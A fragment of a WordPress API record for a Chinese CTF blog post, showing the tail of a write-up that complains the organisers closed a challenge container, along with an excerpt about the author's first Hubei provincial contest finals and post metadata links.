6\u4e3e\u529e\u65b9\u628a\u5bb9\u5668 \u5173\u4e86\u5728\u89e3\u7684\u65f6\u5019 \uff0ceeeeee\u73b0\u5728\u65e0\u6cd5\u8fd0\u884c\u4e86 \u65e0\u8bed<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u622a\u56fe\u662f\u539f\u6765\u7684<\/p>\n\n\n\n
19553017011550894814121115164191<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u524d\u8a00 \u7b2c\u4e00\u6b21\u53c2\u52a0\u6e56\u5317\u7701\u7684\u7701\u8d5b \u8bb0\u5f55\u4e00\u4e0b\u5427,\u8fdb\u5165\u51b3\u8d5b\u4e86\uff0c\u4f46\u662f\u5c31\u6211\u4e00\u4e2a\u89e3\u554a\uff0c\u6839\u672c\u89e3\u4e0d\u5b8c\uff0c\u800c\u4e14\u4e00\u4e2a\u4eba\u53bb\u6e56\u5317\uff0c\u82b1\u9500\u5f88\u5927 […]<\/p>\n","protected":false},"author":1,"featured_media":3068,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,26],"tags":[],"class_list":["post-2998","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-26"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2998","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2998"}],"version-history":[{"count":2,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2998\/revisions"}],"predecessor-version":[{"id":3071,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2998\/revisions\/3071"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/media\/3068"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2998"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2998"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2998"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}